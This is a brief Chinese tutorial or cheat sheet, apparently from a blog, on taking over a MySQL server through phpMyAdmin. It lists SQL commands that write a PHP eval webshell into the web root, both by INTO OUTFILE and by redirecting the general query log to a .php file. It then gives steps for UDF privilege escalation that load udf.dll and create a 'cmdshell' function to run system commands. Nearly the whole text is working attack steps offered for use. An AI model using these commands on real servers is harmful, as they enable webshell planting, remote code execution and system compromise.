mysql 开启日志 写shell_phpmyadmin日志拿shell拓展

phpmyadmin日志写shell：

利用条件：

有足够权限

“secure_file_priv”对应的值不能为NULL

secure_file_priv 为 NULL 时，表示限制mysqld不允许导入或导出。

secure_file_priv 为 /tmp 时，表示限制mysqld只能在/tmp目录中执行导入导出，其他目录不能执行。

secure_file_priv 没有值时，表示不限制mysqld在任意目录的导入导出。

phpmyadmin日志写shell：

SHOW VARIABLES LIKE "secure_file_priv"

如果不为空则可利用

select''INTO OUTFILE 'C:\phpStudy\PHPTutorial\WWW\door.php'

使用into outfile 写入一句话

phpmyadmin日志写shell：

select @@datadir

查看数据库路径 盲网站路径

show variables like '%general%';

查询日志开启状态

SET GLOBAL general_log='on'

开启日志

SET GLOBAL general_log_file='C:\phpstudy\www\xxx.php'

设置日志路径以及设置为脚本后缀

SELECT '<?php eval($_POST["cmd"]);?>'

查询一句话直接被写入进去 上菜刀连接

udf提权：

利用条件：

账号具有对Mysql的insert和delete权限

利用过程：

第一步：

获取相应权限后上传udf.php

第二步：

访问udf.php进行连接(需要能够远程连接)

第三步：

D:\xampp\mysql\lib\plugin\udf.dll

链接成功后导出DLL文件(注意目录)

mysql<5.0，导出路径随意； 5.0<=mysql<5.1，则需要导出至目标服务器的系统目录(如：system32) mysql>5.1，需要导出到mysql的插件目录

查看插件目录：show variables like ‘%plugin%’;

第四步：

创建自定义函数：Create Function cmdshell returns string soname ‘udf.dll’

已经存在：drop function cmdshell;

第五步:

执行函数：select cmdshell(‘ipconfig’)

http://www.exploit-db.com/exploits/5092

喜欢 (5)or分享 (0)